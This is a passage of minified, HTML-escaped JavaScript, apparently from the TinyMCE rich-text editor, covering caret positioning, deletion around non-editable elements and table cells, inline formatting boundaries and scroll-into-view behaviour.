]$/.test(e)},Rf=function(e){return!Af(e)&amp;&amp;!_f(e)},Df=function(n,r,o){return _.from(o.container()).filter(jo.isText).exists(function(e){var t=n?0:-1;return r(e.data.charAt(o.offset()+t))})},Of=d(Df,!0,Af),Bf=d(Df,!1,Af),Pf=function(e){var t=e.container();return jo.isText(t)&amp;&amp;0===t.data.length},If=function(e,t){var n=ks(e,t);return jo.isContentEditableFalse(n)&amp;&amp;!jo.isBogusAll(n)},Lf=d(If,0),Ff=d(If,-1),Mf=function(e,t){return jo.isTable(ks(e,t))},zf=d(Mf,0),Uf=d(Mf,-1),jf=xf([{remove:[&quot;element&quot;]},{moveToElement:[&quot;element&quot;]},{moveToPosition:[&quot;position&quot;]}]),Vf=function(e,t,n,r){var o=r.getNode(!1===t);return Hl(ar.fromDom(e),ar.fromDom(n.getNode())).map(function(e){return Jl(e)?jf.remove(e.dom()):jf.moveToElement(o)}).orThunk(function(){return _.some(jf.moveToElement(o))})},Hf=function(u,s,c){return sc.fromPosition(s,u,c).bind(function(e){return a=e.getNode(),_o(ar.fromDom(a))||So(ar.fromDom(a))?_.none():(t=u,o=e,i=function(e){return xo(ar.fromDom(e))&amp;&amp;!Ts(r,o,t)},Bs(!(n=s),r=c).fold(function(){return Bs(n,o).fold(q(!1),i)},i)?_.none():s&amp;&amp;jo.isContentEditableFalse(e.getNode())?Vf(u,s,c,e):!1===s&amp;&amp;jo.isContentEditableFalse(e.getNode(!0))?Vf(u,s,c,e):s&amp;&amp;Ff(c)?_.some(jf.moveToPosition(e)):!1===s&amp;&amp;Lf(c)?_.some(jf.moveToPosition(e)):_.none());var t,n,r,o,i,a})},qf=function(r,e,o){return i=e,a=o.getNode(!1===i),u=i?&quot;after&quot;:&quot;before&quot;,jo.isElement(a)&amp;&amp;a.getAttribute(&quot;data-mce-caret&quot;)===u?(t=e,n=o.getNode(!1===e),t&amp;&amp;jo.isContentEditableFalse(n.nextSibling)?_.some(jf.moveToElement(n.nextSibling)):!1===t&amp;&amp;jo.isContentEditableFalse(n.previousSibling)?_.some(jf.moveToElement(n.previousSibling)):_.none()).fold(function(){return Hf(r,e,o)},_.some):Hf(r,e,o).bind(function(e){return t=r,n=o,e.fold(function(e){return _.some(jf.remove(e))},function(e){return _.some(jf.moveToElement(e))},function(e){return Ts(n,e,t)?_.none():_.some(jf.moveToPosition(e))});var t,n});var t,n,i,a,u},$f=function(e,t,n){if(0!==n){var r,o,i,a=e.data.slice(t,t+n),u=t+n&gt;=e.data.length,s=0===t;e.replaceData(t,n,(o=s,i=u,j((r=a).split(&quot;&quot;),function(e,t){return-1!==&quot; \f\n\r\t\x0B&quot;.indexOf(t)||&quot;\xa0&quot;===t?e.previousCharIsSpace||&quot;&quot;===e.str&amp;&amp;o||e.str.length===r.length-1&amp;&amp;i?{previousCharIsSpace:!1,str:e.str+&quot;\xa0&quot;}:{previousCharIsSpace:!0,str:e.str+&quot; &quot;}:{previousCharIsSpace:!1,str:e.str+t}},{previousCharIsSpace:!1,str:&quot;&quot;}).str))}},Wf=function(e,t){var n,r=e.data.slice(t),o=r.length-(n=r,n.replace(/^\s+/g,&quot;&quot;)).length;return $f(e,t,o)},Kf=function(e,t){return r=e,o=(n=t).container(),i=n.offset(),!1===_u.isTextPosition(n)&amp;&amp;o===r.parentNode&amp;&amp;i&gt;_u.before(r).offset()?_u(t.container(),t.offset()-1):t;var n,r,o,i},Xf=function(e){return Ha(e.previousSibling)?_.some((t=e.previousSibling,jo.isText(t)?_u(t,t.data.length):_u.after(t))):e.previousSibling?sc.lastPositionIn(e.previousSibling):_.none();var t},Yf=function(e){return Ha(e.nextSibling)?_.some((t=e.nextSibling,jo.isText(t)?_u(t,0):_u.before(t))):e.nextSibling?sc.firstPositionIn(e.nextSibling):_.none();var t},Gf=function(r,o){return Xf(o).orThunk(function(){return Yf(o)}).orThunk(function(){return e=r,t=o,n=_u.before(t.previousSibling?t.previousSibling:t.parentNode),sc.prevPosition(e,n).fold(function(){return sc.nextPosition(e,_u.after(t))},_.some);var e,t,n})},Jf=function(n,r){return Yf(r).orThunk(function(){return Xf(r)}).orThunk(function(){return e=n,t=r,sc.nextPosition(e,_u.after(t)).fold(function(){return sc.prevPosition(e,_u.before(t))},_.some);var e,t})},Qf=function(e,t,n){return(r=e,o=t,i=n,r?Jf(o,i):Gf(o,i)).map(d(Kf,n));var r,o,i},Zf=function(t,n,e){e.fold(function(){t.focus()},function(e){t.selection.setRng(e.toRange(),n)})},ed=function(e,t){return t&amp;&amp;e.schema.getBlockElements().hasOwnProperty(lr(t))},td=function(e){if(Jl(e)){var t=ar.fromHtml(&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;);return zi(e),Fi(e,t),_.some(_u.before(t.dom()))}return _.none()},nd=function(e,t,l){var n,r,o,i,a=Hr(e).filter(mr),u=qr(e).filter(mr);return Ui(e),(n=a,r=u,o=t,i=function(e,t,n){var r,o,i,a,u=e.dom(),s=t.dom(),c=u.data.length;return o=s,i=l,a=Jn((r=u).data).length,r.appendData(o.data),Ui(ar.fromDom(o)),i&amp;&amp;Wf(r,a),n.container()===s?_u(u,c):n},n.isSome()&amp;&amp;r.isSome()&amp;&amp;o.isSome()?_.some(i(n.getOrDie(),r.getOrDie(),o.getOrDie())):_.none()).orThunk(function(){return l&amp;&amp;(a.each(function(e){return t=e.dom(),n=e.dom().length,r=t.data.slice(0,n),o=r.length-Jn(r).length,$f(t,n-o,o);var t,n,r,o}),u.each(function(e){return Wf(e.dom(),0)})),t})},rd=function(t,n,e,r){void 0===r&amp;&amp;(r=!0);var o,i,a=Qf(n,t.getBody(),e.dom()),u=ta(e,d(ed,t),(o=t.getBody(),function(e){return e.dom()===o})),s=nd(e,a,(i=e,br(t.schema.getTextInlineElements(),lr(i))));t.dom.isEmpty(t.getBody())?(t.setContent(&quot;&quot;),t.selection.setCursorLocation()):u.bind(td).fold(function(){r&amp;&amp;Zf(t,n,s)},function(e){r&amp;&amp;Zf(t,n,_.some(e))})},od=function(a,u){var e,t,n,r,o,i;return(e=a.getBody(),t=u,n=a.selection.getRng(),r=Os(t?1:-1,e,n),o=_u.fromRangeStart(r),i=ar.fromDom(e),!1===t&amp;&amp;Ff(o)?_.some(jf.remove(o.getNode(!0))):t&amp;&amp;Lf(o)?_.some(jf.remove(o.getNode())):!1===t&amp;&amp;Lf(o)&amp;&amp;Sf(i,o)?Tf(i,o).map(function(e){return jf.remove(e.getNode())}):t&amp;&amp;Ff(o)&amp;&amp;Ef(i,o)?kf(i,o).map(function(e){return jf.remove(e.getNode())}):qf(e,t,o)).map(function(e){return e.fold((o=a,i=u,function(e){return o._selectionOverrides.hideFakeCaret(),rd(o,i,ar.fromDom(e)),!0}),(n=a,r=u,function(e){var t=r?_u.before(e):_u.after(e);return n.selection.setRng(t.toRange()),!0}),(t=a,function(e){return t.selection.setRng(e.toRange()),!0}));var t,n,r,o,i}).getOr(!1)},id=function(e,t){var n,r=e.selection.getNode();return!!jo.isContentEditableFalse(r)&amp;&amp;(n=ar.fromDom(e.getBody()),z(Qi(n,&quot;.mce-offscreen-selection&quot;),Ui),rd(e,t,ar.fromDom(e.selection.getNode())),ql(e),!0)},ad=function(e,t){return e.selection.isCollapsed()?od(e,t):id(e,t)},ud=function(e){var t,n=function(e,t){for(;t&amp;&amp;t!==e;){if(jo.isContentEditableTrue(t)||jo.isContentEditableFalse(t))return t;t=t.parentNode}return null}(e.getBody(),e.selection.getNode());return jo.isContentEditableTrue(n)&amp;&amp;e.dom.isBlock(n)&amp;&amp;e.dom.isEmpty(n)&amp;&amp;(t=e.dom.create(&quot;br&quot;,{&quot;data-mce-bogus&quot;:&quot;1&quot;}),e.dom.setHTML(n,&quot;&quot;),n.appendChild(t),e.selection.setRng(_u.before(t).toRange())),!0},sd=jo.isText,cd=function(e){return sd(e)&amp;&amp;e.data[0]===xa},ld=function(e){return sd(e)&amp;&amp;e.data[e.data.length-1]===xa},fd=function(e){return e.ownerDocument.createTextNode(xa)},dd=function(e,t){return e?function(e){if(sd(e.previousSibling))return ld(e.previousSibling)||e.previousSibling.appendData(xa),e.previousSibling;if(sd(e))return cd(e)||e.insertData(0,xa),e;var t=fd(e);return e.parentNode.insertBefore(t,e),t}(t):function(e){if(sd(e.nextSibling))return cd(e.nextSibling)||e.nextSibling.insertData(0,xa),e.nextSibling;if(sd(e))return ld(e)||e.appendData(xa),e;var t=fd(e);return e.nextSibling?e.parentNode.insertBefore(t,e.nextSibling):e.parentNode.appendChild(t),t}(t)},md=d(dd,!0),gd=d(dd,!1),pd=function(e,t){return jo.isText(e.container())?dd(t,e.container()):dd(t,e.getNode())},hd=function(e,t){var n=t.get();return n&amp;&amp;e.container()===n&amp;&amp;Ta(n)},vd=function(n,e){return e.fold(function(e){ss.remove(n.get());var t=md(e);return n.set(t),_.some(_u(t,t.length-1))},function(e){return sc.firstPositionIn(e).map(function(e){if(hd(e,n))return _u(n.get(),1);ss.remove(n.get());var t=pd(e,!0);return n.set(t),_u(t,1)})},function(e){return sc.lastPositionIn(e).map(function(e){if(hd(e,n))return _u(n.get(),n.get().length-1);ss.remove(n.get());var t=pd(e,!1);return n.set(t),_u(t,t.length-1)})},function(e){ss.remove(n.get());var t=gd(e);return n.set(t),_.some(_u(t,1))})},yd=function(e,t){for(var n=0;n&lt;e.length;n++){var r=e[n].apply(null,t);if(r.isSome())return r}return _.none()},bd=xf([{before:[&quot;element&quot;]},{start:[&quot;element&quot;]},{end:[&quot;element&quot;]},{after:[&quot;element&quot;]}]),Cd=function(e,t){var n=Ss(t,e);return n||e},xd=function(e,t,n){var r=Vl.normalizeForwards(n),o=Cd(t,r.container());return Vl.findRootInline(e,o,r).fold(function(){return sc.nextPosition(o,r).bind(d(Vl.findRootInline,e,o)).map(function(e){return bd.before(e)})},_.none)},wd=function(e,t){return null===Qu(e,t)},Nd=function(e,t,n){return Vl.findRootInline(e,t,n).filter(d(wd,t))},Ed=function(e,t,n){var r=Vl.normalizeBackwards(n);return Nd(e,t,r).bind(function(e){return sc.prevPosition(e,r).isNone()?_.some(bd.start(e)):_.none()})},Sd=function(e,t,n){var r=Vl.normalizeForwards(n);return Nd(e,t,r).bind(function(e){return sc.nextPosition(e,r).isNone()?_.some(bd.end(e)):_.none()})},Td=function(e,t,n){var r=Vl.normalizeBackwards(n),o=Cd(t,r.container());return Vl.findRootInline(e,o,r).fold(function(){return sc.prevPosition(o,r).bind(d(Vl.findRootInline,e,o)).map(function(e){return bd.after(e)})},_.none)},kd=function(e){return!1===Vl.isRtl(Ad(e))},_d=function(e,t,n){return yd([xd,Ed,Sd,Td],[e,t,n]).filter(kd)},Ad=function(e){return e.fold($,$,$,$)},Rd=function(e){return e.fold(q(&quot;before&quot;),q(&quot;start&quot;),q(&quot;end&quot;),q(&quot;after&quot;))},Dd=function(e){return e.fold(bd.before,bd.before,bd.after,bd.after)},Od=function(n,e,r,t,o,i){return ru(Vl.findRootInline(e,r,t),Vl.findRootInline(e,r,o),function(e,t){return e!==t&amp;&amp;Vl.hasSameParentBlock(r,e,t)?bd.after(n?e:t):i}).getOr(i)},Bd=function(e,r){return e.fold(q(!0),function(e){return n=r,!(Rd(t=e)===Rd(n)&amp;&amp;Ad(t)===Ad(n));var t,n})},Pd=function(e,t){return e?t.fold(H(_.some,bd.start),_.none,H(_.some,bd.after),_.none):t.fold(_.none,H(_.some,bd.before),_.none,H(_.some,bd.end))},Id=function(a,u,s,c){var e=Vl.normalizePosition(a,c),l=_d(u,s,e);return _d(u,s,e).bind(d(Pd,a)).orThunk(function(){return t=a,n=u,r=s,o=l,e=c,i=Vl.normalizePosition(t,e),sc.fromPosition(t,r,i).map(d(Vl.normalizePosition,t)).fold(function(){return o.map(Dd)},function(e){return _d(n,r,e).map(d(Od,t,n,r,i,e)).filter(d(Bd,o))}).filter(kd);var t,n,r,o,e,i})},Ld=_d,Fd=Id,Md=(d(Id,!1),d(Id,!0),Dd),zd=function(e){return e.fold(bd.start,bd.start,bd.end,bd.end)},Ud=function(e){return D(e.selection.getSel().modify)},jd=function(e,t,n){var r=e?1:-1;return t.setRng(_u(n.container(),n.offset()+r).toRange()),t.getSel().modify(&quot;move&quot;,e?&quot;forward&quot;:&quot;backward&quot;,&quot;word&quot;),!0},Vd=function(e,t){var n=t.selection.getRng(),r=e?_u.fromRangeEnd(n):_u.fromRangeStart(n);return!!Ud(t)&amp;&amp;(e&amp;&amp;Aa(r)?jd(!0,t.selection,r):!(e||!Ra(r))&amp;&amp;jd(!1,t.selection,r))},Hd=function(e,t){var n=e.dom.createRng();n.setStart(t.container(),t.offset()),n.setEnd(t.container(),t.offset()),e.selection.setRng(n)},qd=function(e){return!1!==e.settings.inline_boundaries},$d=function(e,t){e?t.setAttribute(&quot;data-mce-selected&quot;,&quot;inline-boundary&quot;):t.removeAttribute(&quot;data-mce-selected&quot;)},Wd=function(t,e,n){return vd(e,n).map(function(e){return Hd(t,e),n})},Kd=function(e,t,n){return function(){return!!qd(t)&amp;&amp;Vd(e,t)}},Xd={move:function(a,u,s){return function(){return!!qd(a)&amp;&amp;(t=a,n=u,e=s,r=t.getBody(),o=_u.fromRangeStart(t.selection.getRng()),i=d(Vl.isInlineTarget,t),Fd(e,i,r,o).bind(function(e){return Wd(t,n,e)})).isSome();var t,n,e,r,o,i}},moveNextWord:d(Kd,!0),movePrevWord:d(Kd,!1),setupSelectedState:function(a){var u=Hi(null),s=d(Vl.isInlineTarget,a);return a.on(&quot;NodeChange&quot;,function(e){var t,n,r,o,i;qd(a)&amp;&amp;(t=s,n=a.dom,r=e.parents,o=U(n.select(&#039;*[data-mce-selected=&quot;inline-boundary&quot;]&#039;),t),i=U(r,t),z(Q(o,i),d($d,!1)),z(Q(i,o),d($d,!0)),function(e,t){if(e.selection.isCollapsed()&amp;&amp;!0!==e.composing&amp;&amp;t.get()){var n=_u.fromRangeStart(e.selection.getRng());_u.isTextPosition(n)&amp;&amp;!1===Vl.isAtZwsp(n)&amp;&amp;(Hd(e,ss.removeAndReposition(t.get(),n)),t.set(null))}}(a,u),function(n,r,o,e){if(r.selection.isCollapsed()){var t=U(e,n);z(t,function(e){var t=_u.fromRangeStart(r.selection.getRng());Ld(n,r.getBody(),t).bind(function(e){return Wd(r,o,e)})})}}(s,a,u,e.parents))}),u},setCaretPosition:Hd},Yd=function(t,n){return function(e){return vd(n,e).map(function(e){return Xd.setCaretPosition(t,e),!0}).getOr(!1)}},Gd=function(r,o,i,a){var u=r.getBody(),s=d(Vl.isInlineTarget,r);r.undoManager.ignore(function(){var e,t,n;r.selection.setRng((e=i,t=a,(n=V.document.createRange()).setStart(e.container(),e.offset()),n.setEnd(t.container(),t.offset()),n)),r.execCommand(&quot;Delete&quot;),Ld(s,u,_u.fromRangeStart(r.selection.getRng())).map(zd).map(Yd(r,o))}),r.nodeChanged()},Jd=function(n,r,i,o){var e,t,a=(e=n.getBody(),t=o.container(),Ss(t,e)||e),u=d(Vl.isInlineTarget,n),s=Ld(u,a,o);return s.bind(function(e){return i?e.fold(q(_.some(zd(e))),_.none,q(_.some(Md(e))),_.none):e.fold(_.none,q(_.some(Md(e))),_.none,q(_.some(zd(e))))}).map(Yd(n,r)).getOrThunk(function(){var t=sc.navigate(i,a,o),e=t.bind(function(e){return Ld(u,a,e)});return s.isSome()&amp;&amp;e.isSome()?Vl.findRootInline(u,a,o).map(function(e){return o=e,!!ru(sc.firstPositionIn(o),sc.lastPositionIn(o),function(e,t){var n=Vl.normalizePosition(!0,e),r=Vl.normalizePosition(!1,t);return sc.nextPosition(o,n).map(function(e){return e.isEqual(r)}).getOr(!0)}).getOr(!0)&amp;&amp;(rd(n,i,ar.fromDom(e)),!0);var o}).getOr(!1):e.bind(function(e){return t.map(function(e){return i?Gd(n,r,o,e):Gd(n,r,e,o),!0})}).getOr(!1)})},Qd=function(e,t,n){if(e.selection.isCollapsed()&amp;&amp;!1!==e.settings.inline_boundaries){var r=_u.fromRangeStart(e.selection.getRng());return Jd(e,t,n,r)}return!1},Zd=Ar(&quot;start&quot;,&quot;end&quot;),em=Ar(&quot;rng&quot;,&quot;table&quot;,&quot;cells&quot;),tm=xf([{removeTable:[&quot;element&quot;]},{emptyCells:[&quot;cells&quot;]}]),nm=function(e,t){return ia(ar.fromDom(e),&quot;td,th&quot;,t)},rm=function(e,t){return ra(e,&quot;table&quot;,t)},om=function(e){return!1===Mr(e.start(),e.end())},im=function(e,n){return rm(e.start(),n).bind(function(t){return rm(e.end(),n).bind(function(e){return Mr(t,e)?_.some(t):_.none()})})},am=function(e){return Qi(e,&quot;td,th&quot;)},um=function(r,e){var t=nm(e.startContainer,r),n=nm(e.endContainer,r);return e.collapsed?_.none():ru(t,n,Zd).fold(function(){return t.fold(function(){return n.bind(function(t){return rm(t,r).bind(function(e){return Z(am(e)).map(function(e){return Zd(e,t)})})})},function(t){return rm(t,r).bind(function(e){return ee(am(e)).map(function(e){return Zd(t,e)})})})},function(e){return sm(r,e)?_.none():(n=r,rm((t=e).start(),n).bind(function(e){return ee(am(e)).map(function(e){return Zd(t.start(),e)})}));var t,n})},sm=function(e,t){return im(t,e).isSome()},cm=function(e,t){var n,r,o,i,a=d(Mr,e);return(n=t,r=a,o=nm(n.startContainer,r),i=nm(n.endContainer,r),ru(o,i,Zd).filter(om).filter(function(e){return sm(r,e)}).orThunk(function(){return um(r,n)})).bind(function(e){return im(t=e,a).map(function(e){return em(t,e,am(e))});var t})},lm=function(e,t){return Y(e,function(e){return Mr(e,t)})},fm=function(n){return(r=n,ru(lm(r.cells(),r.rng().start()),lm(r.cells(),r.rng().end()),function(e,t){return r.cells().slice(e,t+1)})).map(function(e){var t=n.cells();return e.length===t.length?tm.removeTable(n.table()):tm.emptyCells(e)});var r},dm=function(e,t){return cm(e,t).bind(fm)},mm=function(e){var t=[];if(e)for(var n=0;n&lt;e.rangeCount;n++)t.push(e.getRangeAt(n));return t},gm=mm,pm=function(e){return G(e,function(e){var t=Za(e);return t?[ar.fromDom(t)]:[]})},hm=function(e){return 1&lt;mm(e).length},vm=function(e){return U(pm(e),_o)},ym=function(e){return Qi(e,&quot;td[data-mce-selected],th[data-mce-selected]&quot;)},bm=function(e,t){var n=ym(t),r=vm(e);return 0&lt;n.length?n:r},Cm=bm,xm=function(e){return bm(gm(e.selection.getSel()),ar.fromDom(e.getBody()))},wm=function(e,t){return z(t,nl),e.selection.setCursorLocation(t[0].dom(),0),!0},Nm=function(e,t){return rd(e,!1,t),!0},Em=function(n,e,r,t){return Tm(e,t).fold(function(){return t=n,dm(e,r).map(function(e){return e.fold(d(Nm,t),d(wm,t))});var t},function(e){return km(n,e)}).getOr(!1)},Sm=function(e,t){return X(uf(t,e),_o)},Tm=function(e,t){return X(uf(t,e),function(e){return&quot;caption&quot;===lr(e)})},km=function(e,t){return nl(t),e.selection.setCursorLocation(t.dom(),0),_.some(!0)},_m=function(u,s,c,l,f){return sc.navigate(c,u.getBody(),f).bind(function(e){return r=l,o=c,i=f,a=e,sc.firstPositionIn(r.dom()).bind(function(t){return sc.lastPositionIn(r.dom()).map(function(e){return o?i.isEqual(t)&amp;&amp;a.isEqual(e):i.isEqual(e)&amp;&amp;a.isEqual(t)})}).getOr(!0)?km(u,l):(t=l,n=e,Tm(s,ar.fromDom(n.getNode())).map(function(e){return!1===Mr(e,t)}));var t,n,r,o,i,a}).or(_.some(!0))},Am=function(a,u,s,e){var c=_u.fromRangeStart(a.selection.getRng());return Sm(s,e).bind(function(e){return Jl(e)?km(a,e):(t=a,n=s,r=u,o=e,i=c,sc.navigate(r,t.getBody(),i).bind(function(e){return Sm(n,ar.fromDom(e.getNode())).map(function(e){return!1===Mr(e,o)})}));var t,n,r,o,i})},Rm=function(a,u,e){var s=ar.fromDom(a.getBody());return Tm(s,e).fold(function(){return Am(a,u,s,e)},function(e){return t=a,n=u,r=s,o=e,i=_u.fromRangeStart(t.selection.getRng()),Jl(o)?km(t,o):_m(t,r,n,o,i);var t,n,r,o,i}).getOr(!1)},Dm=function(e,t){var n,r,o,i,a,u=ar.fromDom(e.selection.getStart(!0)),s=xm(e);return e.selection.isCollapsed()&amp;&amp;0===s.length?Rm(e,t,u):(n=e,r=u,o=ar.fromDom(n.getBody()),i=n.selection.getRng(),0!==(a=xm(n)).length?wm(n,a):Em(n,o,i,r))},Om=wc.isEq,Bm=function(e,t,n){var r=e.formatter.get(n);if(r)for(var o=0;o&lt;r.length;o++)if(!1===r[o].inherit&amp;&amp;e.dom.is(t,r[o].selector))return!0;return!1},Pm=function(t,e,n,r){var o=t.dom.getRoot();return e!==o&amp;&amp;(e=t.dom.getParent(e,function(e){return!!Bm(t,e,n)||e.parentNode===o||!!Fm(t,e,n,r,!0)}),Fm(t,e,n,r))},Im=function(e,t,n){return!!Om(t,n.inline)||!!Om(t,n.block)||(n.selector?1===t.nodeType&amp;&amp;e.is(t,n.selector):void 0)},Lm=function(e,t,n,r,o,i){var a,u,s,c=n[r];if(n.onmatch)return n.onmatch(t,n,r);if(c)if(&quot;undefined&quot;==typeof c.length){for(a in c)if(c.hasOwnProperty(a)){if(u=&quot;attributes&quot;===r?e.getAttrib(t,a):wc.getStyle(e,t,a),o&amp;&amp;!u&amp;&amp;!n.exact)return;if((!o||n.exact)&amp;&amp;!Om(u,wc.normalizeStyleValue(e,wc.replaceVars(c[a],i),a)))return}}else for(s=0;s&lt;c.length;s++)if(&quot;attributes&quot;===r?e.getAttrib(t,c[s]):wc.getStyle(e,t,c[s]))return n;return n},Fm=function(e,t,n,r,o){var i,a,u,s,c=e.formatter.get(n),l=e.dom;if(c&amp;&amp;t)for(a=0;a&lt;c.length;a++)if(i=c[a],Im(e.dom,t,i)&amp;&amp;Lm(l,t,i,&quot;attributes&quot;,o,r)&amp;&amp;Lm(l,t,i,&quot;styles&quot;,o,r)){if(s=i.classes)for(u=0;u&lt;s.length;u++)if(!e.dom.hasClass(t,s[u]))return;return i}},Mm={matchNode:Fm,matchName:Im,match:function(e,t,n,r){var o;return r?Pm(e,r,t,n):(r=e.selection.getNode(),!!Pm(e,r,t,n)||!((o=e.selection.getStart())===r||!Pm(e,o,t,n)))},matchAll:function(r,o,i){var e,a=[],u={};return e=r.selection.getStart(),r.dom.getParent(e,function(e){var t,n;for(t=0;t&lt;o.length;t++)n=o[t],!u[n]&amp;&amp;Fm(r,e,n,i)&amp;&amp;(u[n]=!0,a.push(n))},r.dom.getRoot()),a},canApply:function(e,t){var n,r,o,i,a,u=e.formatter.get(t),s=e.dom;if(u)for(n=e.selection.getStart(),r=wc.getParents(s,n),i=u.length-1;0&lt;=i;i--){if(!(a=u[i].selector)||u[i].defaultBlock)return!0;for(o=r.length-1;0&lt;=o;o--)if(s.is(r[o],a))return!0}return!1},matchesUnInheritedFormatSelector:Bm},zm=function(e,t){return e.splitText(t)},Um=function(e){var t=e.startContainer,n=e.startOffset,r=e.endContainer,o=e.endOffset;return t===r&amp;&amp;jo.isText(t)?0&lt;n&amp;&amp;n&lt;t.nodeValue.length&amp;&amp;(t=(r=zm(t,n)).previousSibling,n&lt;o?(t=r=zm(r,o-=n).previousSibling,o=r.nodeValue.length,n=0):o=0):(jo.isText(t)&amp;&amp;0&lt;n&amp;&amp;n&lt;t.nodeValue.length&amp;&amp;(t=zm(t,n),n=0),jo.isText(r)&amp;&amp;0&lt;o&amp;&amp;o&lt;r.nodeValue.length&amp;&amp;(o=(r=zm(r,o).previousSibling).nodeValue.length)),{startContainer:t,startOffset:n,endContainer:r,endOffset:o}},jm=xa,Vm=&quot;_mce_caret&quot;,Hm=function(e){return 0&lt;function(e){for(var t=[];e;){if(3===e.nodeType&amp;&amp;e.nodeValue!==jm||1&lt;e.childNodes.length)return[];1===e.nodeType&amp;&amp;t.push(e),e=e.firstChild}return t}(e).length},qm=function(e){var t;if(e)for(e=(t=new go(e,e)).current();e;e=t.next())if(3===e.nodeType)return e;return null},$m=function(e){var t=ar.fromTag(&quot;span&quot;);return Nr(t,{id:Vm,&quot;data-mce-bogus&quot;:&quot;1&quot;,&quot;data-mce-type&quot;:&quot;format-caret&quot;}),e&amp;&amp;Fi(t,ar.fromText(jm)),t},Wm=function(e,t,n){void 0===n&amp;&amp;(n=!0);var r,o=e.dom,i=e.selection;if(Hm(t))rd(e,!1,ar.fromDom(t),n);else{var a=i.getRng(),u=o.getParent(t,o.isBlock),s=((r=qm(t))&amp;&amp;r.nodeValue.charAt(0)===jm&amp;&amp;r.deleteData(0,1),r);a.startContainer===s&amp;&amp;0&lt;a.startOffset&amp;&amp;a.setStart(s,a.startOffset-1),a.endContainer===s&amp;&amp;0&lt;a.endOffset&amp;&amp;a.setEnd(s,a.endOffset-1),o.remove(t,!0),u&amp;&amp;o.isEmpty(u)&amp;&amp;nl(ar.fromDom(u)),i.setRng(a)}},Km=function(e,t,n){void 0===n&amp;&amp;(n=!0);var r=e.dom,o=e.selection;if(t)Wm(e,t,n);else if(!(t=Qu(e.getBody(),o.getStart())))for(;t=r.get(Vm);)Wm(e,t,!1)},Xm=function(e,t,n){var r=e.dom,o=r.getParent(n,d(wc.isTextBlock,e));o&amp;&amp;r.isEmpty(o)?n.parentNode.replaceChild(t,n):(tl(ar.fromDom(n)),r.isEmpty(n)?n.parentNode.replaceChild(t,n):r.insertAfter(t,n))},Ym=function(e,t){return e.appendChild(t),t},Gm=function(e,t){var n,r,o=(n=function(e,t){return Ym(e,t.cloneNode(!1))},r=t,function(e,t){for(var n=e.length-1;0&lt;=n;n--)t(e[n],n)}(e,function(e){r=n(r,e)}),r);return Ym(o,o.ownerDocument.createTextNode(jm))},Jm=function(i){i.on(&quot;mouseup keydown&quot;,function(e){var t,n,r,o;t=i,n=e.keyCode,r=t.selection,o=t.getBody(),Km(t,null,!1),8!==n&amp;&amp;46!==n||!r.isCollapsed()||r.getStart().innerHTML!==jm||Km(t,Qu(o,r.getStart())),37!==n&amp;&amp;39!==n||Km(t,Qu(o,r.getStart()))})},Qm=function(e,t){return e.schema.getTextInlineElements().hasOwnProperty(lr(t))&amp;&amp;!Ju(t.dom())&amp;&amp;!jo.isBogus(t.dom())},Zm=function(e){return 1===Kr(e).length},eg=function(e,t,n,r){var o,i,a,u,s=d(Qm,t),c=W(U(r,s),function(e){return e.dom()});if(0===c.length)rd(t,e,n);else{var l=(o=n.dom(),i=c,a=$m(!1),u=Gm(i,a.dom()),Pi(ar.fromDom(o),a),Ui(ar.fromDom(o)),_u(u,0));t.selection.setRng(l.toRange())}},tg=function(r,o){var t,e=ar.fromDom(r.getBody()),n=ar.fromDom(r.selection.getStart()),i=U((t=uf(n,e),Y(t,Co).fold(q(t),function(e){return t.slice(0,e)})),Zm);return ee(i).map(function(e){var t,n=_u.fromRangeStart(r.selection.getRng());return!(!$l(o,n,e.dom())||Ju((t=e).dom())&amp;&amp;Hm(t.dom())||(eg(o,r,e,i),0))}).getOr(!1)},ng=function(e,t){return!!e.selection.isCollapsed()&amp;&amp;tg(e,t)},rg=function(e){for(var t=0,n=0,r=e;r&amp;&amp;r.nodeType;)t+=r.offsetLeft||0,n+=r.offsetTop||0,r=r.offsetParent;return{x:t,y:n}},og=function(e,t,n){var r,o,i,a,u,s=e.dom,c=s.getRoot(),l=0;if(u={elm:t,alignToTop:n},e.fire(&quot;scrollIntoView&quot;,u),!u.isDefaultPrevented()&amp;&amp;jo.isElement(t)){if(!1===n&amp;&amp;(l=t.offsetHeight),&quot;BODY&quot;!==c.nodeName){var f=e.selection.getScrollContainer();if(f)return r=rg(t).y-rg(f).y+l,a=f.clientHeight,void((r&lt;(i=f.scrollTop)||i+a&lt;r+25)&amp;&amp;(f.scrollTop=r&lt;i?r:r-a+25))}o=s.getViewPort(e.getWin()),r=s.getPos(t).y+l,i=o.y,a=o.h,(r&lt;o.y||i+a&lt;r+25)&amp;&amp;e.getWin().scrollTo(0,r&lt;i?r:r-a+25)}},ig=function(d,e){Z(Su.fromRangeStart(e).getClientRects()).each(function(e){var t,n,r,o,i,a,u,s,c,l=function(e){if(e.inline)return e.getBody().getBoundingClientRect();var t=e.getWin();return{left:0,right:t.innerWidth,top:0,bottom:t.innerHeight,width:t.innerWidth,height:t.innerHeight}}(d),f={x:(i=t=l,a=n=e,a.left&gt;i.left&amp;&amp;a.right&lt;i.right?0:a.left&lt;i.left?a.left-i.left:a.right-i.right),y:(r=t,o=n,o.top&gt;r.top&amp;&amp;o.bottom&lt;r.bottom?0:o.top&lt;r.top?o.top-r.top:o.bottom-r.bottom)};s=0!==f.x?0&lt;f.x?f.x+4:f.x-4:0,c=0!==f.y?0&lt;f.y?f.y+4:f.y-4:0,(u=d).inline?(u.getBody().scrollLeft+=s,u.getBody().scrollTop+=c):u.getWin().scrollBy(s,c)})},ag=jo.isContentEditableTrue,ug=jo.isContentEditableFalse,sg=function(e,t,n,r,o){return t._selectionOverrides.showCaret(e,n,r,o)},cg=function(e,t){var n,r;return e.fire(&quot;BeforeObjectSelected&quot;,{target:t}).isDefaultPrevented()?null:((r=(n=t).ownerDocument.createRange()).selectNode(n),r)},lg=function(e,t,n){var r=Os(1,e.getBody(),t),o=_u.fromRangeStart(r),i=o.getNode();if(ug(i))return sg(1,e,i,!o.isAtEnd(),!1);var a=o.getNode(!0);if(ug(a))return sg(1,e,a,!1,!1);var u=e.dom.getParent(o.getNode(),function(e){return ug(e)||ag(e)});return ug(u)?sg(1,e,u,!1,n):null},fg=function(e,t,n){if(!t||!t.collapsed)return t;var r=lg(e,t,n);return r||t},dg=function(e,t){e.selection.setRng(t),ig(e,e.selection.getRng())},mg=function(e,t,n,r,o,i){var a,u,s=sg(r,e,i.getNode(!o),o,!0);if(t.collapsed){var 